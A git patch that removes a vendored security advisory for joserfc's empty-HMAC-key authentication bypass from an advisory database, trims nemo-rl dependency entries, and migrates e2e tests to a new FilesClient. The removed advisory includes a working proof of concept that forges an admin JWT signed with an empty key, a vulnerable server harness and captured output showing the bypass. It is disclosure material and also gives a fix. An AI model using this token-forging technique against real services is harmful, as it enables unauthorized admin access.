v_sig)\n```\n\n[`src/joserfc/_rfc7518/oct_key.py:52-63`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/oct_key.py#L52-L63):\n\n```python\n@classmethod\ndef import_key(cls, value, parameters=None, password=None) -> \"OctKey\":\n key: OctKey = super(OctKey, cls).import_key(value, parameters, password)\n if len(key.raw_value) < 14:\n # https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final\n warnings.warn(\"Key size should be >= 112 bits\", SecurityWarning)\n return key\n```\n\nThe `< 14` check only warns; `len(key.raw_value) == 0` falls through and is\nreturned to the caller. `HMACAlgorithm.verify` then calls\n`hmac.compare_digest(sig, hmac.new(b\"\", signing_input, sha256).digest())`,\nand Python's `hmac.new(b\"\", ...)` accepts the empty key.\n\nCross-language sibling of ruby-jwt's fix in [`lib/jwt/jwa/hmac.rb`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/lib/jwt/jwa/hmac.rb):\n\n```ruby\ndef ensure_valid_key!(key)\n raise_verify_error!('HMAC key expected to be a String') unless key.is_a?(String)\n raise_verify_error!('HMAC key cannot be empty') if key.empty?\nend\n```\n\ninvoked from both `sign(signing_key:)` and `verify(verification_key:)`.\nPyJWT landed an equivalent guard in 2.13.0 (`HMACAlgorithm.prepare_key`\nraises `InvalidKeyError(\"HMAC key must not be empty.\")` for `len(key_bytes) == 0`).\nfirebase/php-jwt rejects empty material in `Key.__construct`. jjwt enforces a\n256-bit minimum in `DefaultMacAlgorithm.validateKey`. joserfc has the\nstrongest existing length-warning logic but stops at `< 14 bytes` warn\nrather than `== 0` reject.\n\n### How an empty `JWT_SECRET` reaches `hmac.new`\n\n1. The application calls `joserfc.jwt.decode(value, key, algorithms=[\"HS256\"])`\n where `key = OctKey.import_key(\"\")` (or `OctKey.import_key(b\"\")`,\n or any custom path that yields an `OctKey` whose `raw_value` is `b\"\"`).\n2. `decode` ([`src/joserfc/jwt.py:86-117`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/jwt.py#L86-L117)) calls `_decode_jws(...)` \u2192\n `deserialize_compact(value, key, algorithms, registry)`.\n3. `deserialize_compact` ([`src/joserfc/jws.py`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/jws.py)) dispatches to\n `HMACAlgorithm.verify(signing_input, signature, key)`.\n4. `verify` calls `key.get_op_key(\"verify\")` \u2192 returns `b\"\"`.\n5. `hmac.new(b\"\", signing_input, sha256).digest()` is computed; the\n attacker computed exactly that digest with the same empty key, so\n `hmac.compare_digest` returns `True` and decode succeeds.\n\nNo upstream `nil`-check, no length check, no schema rejection. The path is\nreached from the public `joserfc.jwt.decode` API.\n\n### Proof of concept\n\nAttacker (no secret knowledge):\n\n```python\nimport base64, hmac, hashlib, json, time\ndef b64url(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\")\nheader = b64url(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\nnow = int(time.time())\npayload = b64url(json.dumps({\n \"sub\": \"attacker\", \"admin\": True,\n \"iat\": now, \"exp\": now + 600,\n}).encode())\nsigning_input = header + b\".\" + payload\nsig = hmac.new(b\"\", signing_input, hashlib.sha256).digest()\nforged = signing_input + b\".\" + b64url(sig)\nprint(forged.decode())\n```\n\nServer harness:\n\n```python\n# server.py\nfrom joserfc import jwt\nfrom joserfc.jwk import OctKey\nimport os\nfrom wsgiref.simple_server import make_server\n\ndef app(environ, start_response):\n auth = environ.get(\"HTTP_AUTHORIZATION\", \"\")\n token = auth[len(\"Bearer \"):].strip() if auth.startswith(\"Bearer \") else \"\"\n key = OctKey.import_key(os.environ.get(\"JWT_SECRET\", \"\")) # default = \"\"\n try:\n tok = jwt.decode(token, key, algorithms=[\"HS256\"])\n c = tok.claims\n body = (\"OK: sub=%r admin=%r\\n\" % (c.get(\"sub\"), c.get(\"admin\"))).encode()\n start_response(\"200 OK\", [(\"Content-Type\", \"text/plain\")])\n return [body]\n except Exception as e:\n start_response(\"401 Unauthorized\", [(\"Content-Type\", \"text/plain\")])\n return [(\"DENY: %s\\n\" % e).encode()]\n\nmake_server(\"127.0.0.1\", 8383, app).serve_forever()\n```\n\n### End-to-end reproduction (against `pip install joserfc==1.6.7`)\n\n```bash\n# 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret\n# state.\npython3.12 -m venv venv\n./venv/bin/pip install joserfc==1.6.7\n./venv/bin/python server.py & # listens on :8383\n\n# 2. Run the attacker\n./venv/bin/python attacker.py\n```\n\nCaptured run output (canonical pre-fix run, joserfc 1.6.7,\n`poc-attacker-empty-20260523-150949.log`):\n\n```\nforged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY\nHTTP 200\nOK: sub='attacker' admin=True\n```\n\nControl (real 256-bit secret, `poc-control-realkey-20260523-150959.log`):\n\n```\nforged token: eyJhbGciOiAiSFMyNTYi...\nHTTP 401\nDENY: BadSignatureError: bad_signature:\n```\n\nInterpretation:\n\n| Configuration | Observed | Expected |\n|------------------------------|-------------------------------------|----------|\n| `JWT_SECRET` unset (== \"\") | HTTP 200, `admin=True` (verified) | HTTP 401 |\n| `JWT_SECRET` = 256-bit value | HTTP 401, `BadSignatureError` | HTTP 401 |\n\nThe first row demonstrates that an attacker with zero knowledge of the\nverification secret reaches the protected path by signing with the empty\nkey. The second row confirms the verifier behaves correctly when the\nsecret is non-empty, proving the bug is gated only on the secret being\nempty rather than on any structural defect in the attacker's token.\n\nFix verification: with the suggested empty-key reject wired into\n`HMACAlgorithm.sign` / `.verify`, the empty-secret server re-run rejects\nthe same forged token with `ValueError: HMAC key must not be empty`.\n\n### Impact\n\n- Complete authentication bypass on any service whose key finder resolves\n to `\"\"` / `None` (env var unset, DB row missing, fallback). Attacker\n forges arbitrary claims (`sub`, `admin`, scopes, audience, expiry).\n- The misconfiguration that triggers the bug is silent: the server does\n not fail to boot, joserfc emits a single `SecurityWarning` (\"Key size\n should be >= 112 bits\") at `OctKey.import_key` time and then proceeds.\n- Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high).\n CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N \u2014 AC:H because of the\n operator-misconfiguration precondition; impact otherwise matches\n authentication bypass.\n\n### Suggested fix\n\nUpgrade the existing `< 14 bytes` warning in `OctKey.import_key` to a hard\nreject at `len(key.raw_value) == 0`, plus a defence-in-depth check in\n`HMACAlgorithm.sign` and `HMACAlgorithm.verify` after\n`key.get_op_key(...)`:\n\n```python\n# src/joserfc/_rfc7518/oct_key.py\n@classmethod\ndef import_key(cls, value, parameters=None, password=None) -> \"OctKey\":\n key: OctKey = super(OctKey, cls).import_key(value, parameters, password)\n if not key.raw_value:\n raise ValueError(\"oct key material must not be empty\")\n if len(key.raw_value) < 14:\n warnings.warn(\"Key size should be >= 112 bits\", SecurityWarning)\n return key\n\n# src/joserfc/_rfc7518/jws_algs.py\nclass HMACAlgorithm(JWSAlgModel):\n ...\n def sign(self, msg: bytes, key: OctKey) -> bytes:\n op_key = key.get_op_key(\"sign\")\n if not op_key:\n raise ValueError(\"HMAC key must not be empty\")\n return hmac.new(op_key, msg, self.hash_alg).digest()\n\n def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:\n op_key = key.get_op_key(\"verify\")\n if not op_key:\n raise ValueError(\"HMAC key must not be empty\")\n v_sig = hmac.new(op_key, msg, self.hash_alg).digest()\n return hmac.compare_digest(sig, v_sig)\n```\n\nThe two-layer fix mirrors PyJWT 2.13.0's approach (reject empty in\n`prepare_key`, plus the runtime length checks the underlying hmac\nprimitive does not perform).\n\n### Fix PR\n\n`authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1` (temp private fork PR), branch\n`fix/hmac-reject-empty-key`, base `main`. URL:\nhttps://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1\n\n### Credit\n\nReported by tonghuaroot.", - "severity": [ - { - "type": "CVSS_V4", - "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N" - } - ], - "affected": [ - { - "package": { - "ecosystem": "PyPI", - "name": "joserfc", - "purl": "pkg:pypi/joserfc" - }, - "ranges": [ - { - "type": "ECOSYSTEM", - "events": [ - { - "introduced": "0" - }, - { - "fixed": "1.6.8" - } - ] - } - ], - "versions": [ - "0.1.0", - "0.10.0", - "0.11.0", - "0.11.1", - "0.12.0", - "0.2.0", - "0.3.0", - "0.4.0", - "0.5.0", - "0.6.0", - "0.7.0", - "0.8.0", - "0.9.0", - "1.0.0", - "1.0.1", - "1.0.2", - "1.0.3", - "1.0.4", - "1.1.0", - "1.2.0", - "1.2.1", - "1.2.2", - "1.3.0", - "1.3.1", - "1.3.2", - "1.3.3", - "1.3.4", - "1.3.5", - "1.4.0", - "1.4.1", - "1.4.2", - "1.4.3", - "1.5.0", - "1.6.0", - "1.6.1", - "1.6.2", - "1.6.3", - "1.6.4", - "1.6.5", - "1.6.7" - ], - "database_specific": { - "last_known_affected_version_range": "<= 1.6.7", - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-gg9x-qcx2-xmrh/GHSA-gg9x-qcx2-xmrh.json" - } - } - ], - "references": [ - { - "type": "WEB", - "url": "https://github.com/authlib/joserfc/security/advisories/GHSA-gg9x-qcx2-xmrh" - }, - { - "type": "WEB", - "url": "https://github.com/authlib/joserfc/commit/86d00910b2b2d2d07503fee9b572906daefab7f1" - }, - { - "type": "PACKAGE", - "url": "https://github.com/authlib/joserfc" - }, - { - "type": "WEB", - "url": "https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70" - } - ], - "database_specific": { - "cwe_ids": [ - "CWE-287", - "CWE-326", - "CWE-1391" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-07-02T19:12:08Z", - "nvd_published_at": null, - "severity": "HIGH" - } - }, { "modified": "2026-07-01T23:59:17Z", "published": "2026-06-26T20:59:38Z", @@ -6110,16 +5993,6 @@ } ], "groups": [ - { - "ids": [ - "GHSA-gg9x-qcx2-xmrh" - ], - "aliases": [ - "CVE-2026-49852", - "GHSA-gg9x-qcx2-xmrh" - ], - "max_severity": "8.7" - }, { "ids": [ "GHSA-wphv-vfrh-23q5" diff --git a/third_party/requirements-main.txt b/third_party/requirements-main.txt index a40533e328..8960f652de 100644 --- a/third_party/requirements-main.txt +++ b/third_party/requirements-main.txt @@ -28,7 +28,6 @@ # nemo-data-designer-plugin # nemo-deployments-plugin # nemo-guardrails-plugin - # nemo-rl-plugin # nemo-safe-synthesizer-plugin # nemo-unsloth-plugin # nemoplatform @@ -48,7 +47,6 @@ # nemo-platform # nemo-platform-ext # nemo-platform-sdk - # nemo-rl-plugin # nemo-safe-synthesizer-plugin # nemo-switchyard # nemo-unsloth-plugin @@ -58,7 +56,6 @@ # nmp-inference-gateway # nmp-platform # nmp-platform-runner - # nmp-rl # nmp-unsloth -e ./packages/nmp_common ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') # via @@ -79,17 +76,14 @@ # nmp-platform # nmp-platform-runner # nmp-platform-seed - # nmp-rl # nmp-secrets # nmp-studio # nmp-unsloth -e ./packages/nmp_customization_common ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') # via # nemo-automodel-plugin - # nemo-rl-plugin # nemo-unsloth-plugin # nmp-automodel - # nmp-rl # nmp-unsloth -e ./packages/nmp_platform ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') # via nemoplatform @@ -109,7 +103,6 @@ -e ./plugins/nemo-deployments ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') -e ./plugins/nemo-evaluator ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') -e ./plugins/nemo-guardrails ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') --e ./plugins/nemo-rl ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') -e ./plugins/nemo-safe-synthesizer ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') -e ./plugins/nemo-switchyard ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') -e ./plugins/nemo-switchyard/vendor/switchyard ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') @@ -127,7 +120,6 @@ # nmp-core-mcp # nmp-customization-common # nmp-entities - # nmp-rl # nmp-unsloth -e ./services/automodel ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') # via nemo-automodel-plugin @@ -173,8 +165,6 @@ # via nemoplatform -e ./services/platform-seed ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') # via nemoplatform --e ./services/rl ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') - # via nemo-rl-plugin -e ./services/studio ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') # via nemoplatform -e ./services/unsloth ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') @@ -978,7 +968,6 @@ httpx==0.28.1 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (p # nmp-automodel # nmp-customization-common # nmp-guardrails - # nmp-rl # nmp-unsloth # nvidia-nat-core # oci-openai @@ -1164,7 +1153,6 @@ jsonschema==4.26.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') # litellm # mcp # nemo-evaluator-sdk - # nemo-platform-plugin # nemo-safe-synthesizer # nemoguardrails # nmp-automodel @@ -2213,7 +2201,6 @@ pydantic==2.12.5 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or # nemo-platform-ext # nemo-platform-plugin # nemo-platform-sdk - # nemo-rl-plugin # nemo-safe-synthesizer # nemo-safe-synthesizer-plugin # nemo-unsloth-plugin @@ -2229,7 +2216,6 @@ pydantic==2.12.5 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or # nmp-intake # nmp-jobs # nmp-models - # nmp-rl # nmp-unsloth # nvidia-nat-atif # nvidia-nat-config-optimizer @@ -2285,7 +2271,6 @@ pydantic-settings==2.14.2 ; (platform_machine == 'arm64' and sys_platform == 'da # mcp # nemo-automodel-plugin # nemo-platform-plugin - # nemo-rl-plugin # nemo-safe-synthesizer # nemo-safe-synthesizer-plugin # nemo-unsloth-plugin @@ -2300,7 +2285,6 @@ pydantic-settings==2.14.2 ; (platform_machine == 'arm64' and sys_platform == 'da # nmp-intake # nmp-jobs # nmp-models - # nmp-rl # nmp-unsloth pygments==2.20.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f \ @@ -2839,7 +2823,6 @@ tenacity==9.1.4 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or # nmp-automodel # nmp-customization-common # nmp-models - # nmp-rl # nmp-unsloth tiktoken==0.12.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:01d99484dc93b129cd0964f9d34eee953f2737301f18b3c7257bf368d7615baa \ @@ -2927,7 +2910,6 @@ typer==0.24.1 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (p # nemo-platform-ext # nemo-platform-plugin # nemo-platform-sdk - # nemo-rl-plugin # nemo-safe-synthesizer-plugin # nemo-unsloth-plugin # nemoguardrails From 0465287488ec1b413422886ba18c0c45adb7896c Mon Sep 17 00:00:00 2001 From: Matthew Grossman Date: Mon, 6 Jul 2026 15:46:25 -0700 Subject: [PATCH 04/12] feat(files): Migrate consumers to the new FilesClient Signed-off-by: Matthew Grossman --- e2e/files/test_files.py | 8 +- e2e/files/test_storage_backends.py | 89 +++-- e2e/test_data_designer.py | 14 +- e2e/test_jobs_auth.py | 9 +- .../fileset_file_seed_reader.py | 5 +- .../data_designer_nemo/nemotron_personas.py | 27 +- .../src/data_designer_nemo/person_reader.py | 5 +- .../src/data_designer_nemo/person_sampling.py | 8 +- .../src/data_designer_nemo/seed.py | 8 +- .../unit/test_fileset_file_seed_reader.py | 9 +- .../tests/unit/test_person_sampling.py | 45 ++- .../src/filesets/filesystem/filesystem.py | 30 +- packages/filesets/src/filesets/resources.py | 317 ++---------------- .../cli/commands/api/files/__init__.py | 5 +- .../cli/commands/api/files/filesets.py | 30 +- .../tests/cli/integration/test_filesets.py | 19 +- .../nemo_platform_plugin/jobs/file_manager.py | 18 +- .../src/nemo_platform_plugin/scheduler.py | 6 +- packages/nmp_common/tests/jobs/conftest.py | 12 +- .../tests/jobs/test_file_manager.py | 23 +- .../service/platform_client.py | 11 +- .../testing/utils.py | 11 +- .../tests/integration/test_personas_cli.py | 36 +- .../examples/plugin_examples.py | 71 ++-- .../src/nemo_evaluator/filesets.py | 10 +- .../src/nemo_evaluator/metric_storage.py | 25 +- .../tests/api/service/test_metric_service.py | 90 ++--- .../tests/api/v2/test_metrics_routes.py | 53 ++- plugins/nemo-evaluator/tests/test_filesets.py | 15 +- .../nemo-evaluator/tests/test_metric_refs.py | 89 +++-- .../tests/test_metric_storage.py | 121 ++++--- .../scripts/setup_model_filesets.py | 25 +- .../api/v2/jobs/endpoints.py | 11 +- .../tests/unit/test_jobs.py | 49 ++- .../cli/commands/api/files/__init__.py | 5 +- .../cli/commands/api/files/filesets.py | 30 +- .../filesets/filesystem/filesystem.py | 30 +- .../src/nemo_platform/filesets/resources.py | 317 ++---------------- .../cli/integration/test_filesets.py | 17 +- .../src/nmp/automodel/tasks/file_io/run.py | 40 ++- .../nmp/automodel/tasks/model_entity/run.py | 6 +- services/automodel/tests/test_compiler.py | 2 - .../entities/controllers/workspace_cleanup.py | 7 +- .../controllers/test_workspace_cleanup.py | 70 ++-- services/core/files/script/v2_migration.py | 14 +- .../files/src/nmp/core/files/testing/utils.py | 17 +- .../core/files/tests/integration/conftest.py | 9 +- .../test_huggingface_storage.py | 56 ++-- .../external_storage/test_ngc_storage.py | 17 +- .../external_storage/test_s3_storage.py | 140 ++++---- .../tests/integration/test_files_basic.py | 230 +++++++------ .../files/tests/integration/test_files_sdk.py | 75 +++-- .../integration/test_fileset_filesystem.py | 164 ++++----- .../test_filesets_allowed_hosts.py | 48 +-- .../integration/test_huggingface_endpoints.py | 10 +- .../tests/integration/test_otlp_endpoints.py | 26 +- .../tests_filesets_with_auth_secrets.py | 119 ++++--- .../jobs/src/nmp/core/jobs/app/dispatcher.py | 15 +- services/core/jobs/tests/conftest.py | 30 +- services/core/jobs/tests/test_dispatcher.py | 237 ++++++------- services/core/jobs/tests/test_job_logs.py | 24 +- services/core/jobs/tests/test_jobs_api.py | 104 +++--- .../src/nmp/core/models/api/permissions.py | 15 +- .../api/service/model_entity_service.py | 7 +- .../nmp/core/models/tasks/model_spec/run.py | 33 +- .../test_chat_template_tool_calling.py | 31 +- .../test_model_entity_service_integration.py | 54 +-- .../integration/test_models_with_auth.py | 60 ++-- .../test_workspace_iam_models_isolation.py | 16 +- .../unit/test_model_entity_service_unit.py | 72 ++-- .../hello_world/tasks/access_fileset/run.py | 10 +- services/rl/src/nmp/rl/tasks/file_io/run.py | 43 ++- .../rl/src/nmp/rl/tasks/model_entity/run.py | 20 +- .../src/nmp/unsloth/tasks/file_io/run.py | 43 ++- .../src/nmp/unsloth/tasks/model_entity/run.py | 6 +- services/unsloth/tests/test_file_io.py | 83 +++-- services/unsloth/tests/test_model_entity.py | 31 +- .../tests/test_outputs.py | 6 +- .../tests/test_outputs.py | 6 +- .../tests/test_outputs.py | 6 +- .../tests/test_outputs.py | 6 +- .../tests/test_outputs.py | 6 +- .../tests/test_outputs.py | 6 +- .../tests/test_outputs.py | 6 +- .../files-crud-cli-easy/tests/test_outputs.py | 9 +- .../files-crud-cli/tests/test_outputs.py | 9 +- .../tests/test_outputs.py | 5 +- .../tests/test_outputs.py | 5 +- .../cli_generator/overrides/files/upload.py | 5 +- 89 files changed, 1838 insertions(+), 1924 deletions(-) diff --git a/e2e/files/test_files.py b/e2e/files/test_files.py index 9db3b2bdc3..b299265d1a 100644 --- a/e2e/files/test_files.py +++ b/e2e/files/test_files.py @@ -11,6 +11,9 @@ import pytest from nemo_platform import NeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.types import CreateFilesetRequest from nemo_platform_plugin.files.types import FilesetOutput as Fileset @@ -18,10 +21,11 @@ def fileset(sdk: NeMoPlatform, workspace: str) -> Iterator[Fileset]: """Create a unique fileset for each test with automatic cleanup.""" fileset_name = f"e2e-fileset-{uuid.uuid4().hex[:8]}" - fileset = sdk.files.filesets.create(workspace=workspace, name=fileset_name) + files = client_from_platform(sdk, FilesClient) + fileset = files.create_fileset(body=CreateFilesetRequest(name=fileset_name), workspace=workspace).data() yield fileset try: - sdk.files.filesets.delete(fileset_name, workspace=workspace) + files.delete_fileset(name=fileset_name, workspace=workspace) except Exception: pass # Ignore cleanup errors diff --git a/e2e/files/test_storage_backends.py b/e2e/files/test_storage_backends.py index 77b8bf5fc3..386ad1c5d3 100644 --- a/e2e/files/test_storage_backends.py +++ b/e2e/files/test_storage_backends.py @@ -15,8 +15,12 @@ from pathlib import Path import pytest -from nemo_platform import BadRequestError, NeMoPlatform -from nemo_platform.types.files import HuggingfaceStorageConfigParam, NGCStorageConfigParam +from nemo_platform import NeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.client.errors import BadRequestError +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.storage_config import HuggingfaceStorageConfig, NGCStorageConfig +from nemo_platform_plugin.files.types import CreateFilesetRequest # --------------------------------------------------------------------------- # NGC configuration @@ -43,21 +47,24 @@ def ngc_fileset(sdk: NeMoPlatform, workspace: str, ngc_secret: str) -> Iterator[str]: """Create an NGC-backed fileset, cleaned up after test.""" fileset_name = f"e2e-ngc-fs-{uuid.uuid4().hex[:8]}" - sdk.files.filesets.create( + files = client_from_platform(sdk, FilesClient) + files.create_fileset( workspace=workspace, - name=fileset_name, - description="E2E test NGC-backed fileset", - storage=NGCStorageConfigParam( - api_key_secret=ngc_secret, - org=NGC_ORG, - team=NGC_TEAM, - target=NGC_TARGET, - target_type=NGC_TARGET_TYPE, + body=CreateFilesetRequest( + name=fileset_name, + description="E2E test NGC-backed fileset", + storage=NGCStorageConfig( + api_key_secret=ngc_secret, + org=NGC_ORG, + team=NGC_TEAM, + target=NGC_TARGET, + target_type=NGC_TARGET_TYPE, + ), ), ) yield fileset_name try: - sdk.files.filesets.delete(fileset_name, workspace=workspace) + files.delete_fileset(name=fileset_name, workspace=workspace) except Exception: pass # Best-effort cleanup; the workspace is deleted anyway @@ -86,22 +93,25 @@ def hf_secret(sdk: NeMoPlatform, workspace: str, hf_token: str) -> Iterator[str] def hf_fileset(sdk: NeMoPlatform, workspace: str, hf_secret: str) -> Iterator[str]: """Create a Hugging Face-backed fileset, cleaned up after test.""" fileset_name = f"e2e-hf-fs-{uuid.uuid4().hex[:8]}" + files = client_from_platform(sdk, FilesClient) - storage = HuggingfaceStorageConfigParam( + storage = HuggingfaceStorageConfig( repo_id=HF_REPO_ID, repo_type=HF_REPO_TYPE, token_secret=hf_secret, ) - sdk.files.filesets.create( + files.create_fileset( workspace=workspace, - name=fileset_name, - description="E2E test HF-backed fileset", - storage=storage, + body=CreateFilesetRequest( + name=fileset_name, + description="E2E test HF-backed fileset", + storage=storage, + ), ) yield fileset_name try: - sdk.files.filesets.delete(fileset_name, workspace=workspace) + files.delete_fileset(name=fileset_name, workspace=workspace) except Exception: pass # Best-effort cleanup; the workspace is deleted anyway @@ -193,7 +203,8 @@ def test_create_error( secret_name = f"e2e-ngc-err-{uuid.uuid4().hex[:8]}" sdk.secrets.create(workspace=workspace, name=secret_name, value=value) try: - storage = NGCStorageConfigParam( + files = client_from_platform(sdk, FilesClient) + storage = NGCStorageConfig( api_key_secret=secret_name, org=storage_overrides.get("org", NGC_ORG), team=storage_overrides.get("team", NGC_TEAM), @@ -201,26 +212,31 @@ def test_create_error( target_type=NGC_TARGET_TYPE, ) with pytest.raises(BadRequestError, match=match): - sdk.files.filesets.create( + files.create_fileset( workspace=workspace, - name=f"e2e-ngc-err-{uuid.uuid4().hex[:8]}", - storage=storage, + body=CreateFilesetRequest( + name=f"e2e-ngc-err-{uuid.uuid4().hex[:8]}", + storage=storage, + ), ) finally: sdk.secrets.delete(workspace=workspace, name=secret_name) def test_create_error_nonexistent_secret(self, sdk: NeMoPlatform, workspace: str): """Referencing a secret that doesn't exist is rejected with 400.""" + files = client_from_platform(sdk, FilesClient) with pytest.raises(BadRequestError, match="Secret not found:"): - sdk.files.filesets.create( + files.create_fileset( workspace=workspace, - name=f"e2e-ngc-err-{uuid.uuid4().hex[:8]}", - storage=NGCStorageConfigParam( - api_key_secret="no-such-secret-99999", - org=NGC_ORG, - team=NGC_TEAM, - target=NGC_TARGET, - target_type=NGC_TARGET_TYPE, + body=CreateFilesetRequest( + name=f"e2e-ngc-err-{uuid.uuid4().hex[:8]}", + storage=NGCStorageConfig( + api_key_secret="no-such-secret-99999", + org=NGC_ORG, + team=NGC_TEAM, + target=NGC_TARGET, + target_type=NGC_TARGET_TYPE, + ), ), ) @@ -278,12 +294,15 @@ def test_cache_status(self, sdk: NeMoPlatform, workspace: str, hf_fileset: str): def test_error_nonexistent_repo(self, sdk: NeMoPlatform, workspace: str): """Pointing at a repo that doesn't exist is rejected with 400.""" + files = client_from_platform(sdk, FilesClient) with pytest.raises(BadRequestError): - sdk.files.filesets.create( + files.create_fileset( workspace=workspace, - name=f"e2e-hf-err-{uuid.uuid4().hex[:8]}", - storage=HuggingfaceStorageConfigParam( - repo_id="this-org-does-not-exist/this-repo-does-not-exist-12345", - repo_type="model", + body=CreateFilesetRequest( + name=f"e2e-hf-err-{uuid.uuid4().hex[:8]}", + storage=HuggingfaceStorageConfig( + repo_id="this-org-does-not-exist/this-repo-does-not-exist-12345", + repo_type="model", + ), ), ) diff --git a/e2e/test_data_designer.py b/e2e/test_data_designer.py index 8cb5b03269..8ef7524275 100644 --- a/e2e/test_data_designer.py +++ b/e2e/test_data_designer.py @@ -10,8 +10,12 @@ from data_designer_nemo.fileset_file_seed_source import FilesetFileSeedSource from data_designer_nemo.nemotron_personas import WORKSPACE, get_resource_name_for_locale from nemo_data_designer_plugin.sdk.errors import DataDesignerJobError -from nemo_platform import NeMoPlatform, NotFoundError +from nemo_platform import NeMoPlatform from nemo_platform.types.inference import ModelProvider +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.client.errors import NotFoundError +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.types import CreateFilesetRequest from nmp.testing import MockProviderResponse, add_mock_provider, assert_exit_0, run_nemo_local from nmp.testing.pytest_outcomes import pytest_skip @@ -137,7 +141,8 @@ def test_fileset_seed_data(sdk: NeMoPlatform, workspace: str) -> None: is wired up properly by the Data Designer *platform plugin*. """ fileset_name = "my-fileset" - sdk.files.filesets.create(name=fileset_name, workspace=workspace) + files = client_from_platform(sdk, FilesClient) + files.create_fileset(body=CreateFilesetRequest(name=fileset_name), workspace=workspace) seed_data = pd.DataFrame(data={"seed": ["my-seed"]}) remote_path = "data.parquet" @@ -183,8 +188,9 @@ def nemotron_personas_locale(_services: str, sdk: NeMoPlatform, workspace: str, locale = "en_SG" fileset_name = get_resource_name_for_locale(locale) + files = client_from_platform(sdk, FilesClient) with suppress(NotFoundError): - sdk.files.filesets.delete(fileset_name, workspace=WORKSPACE) + files.delete_fileset(name=fileset_name, workspace=WORKSPACE) result = run_nemo_local( "data-designer", @@ -202,7 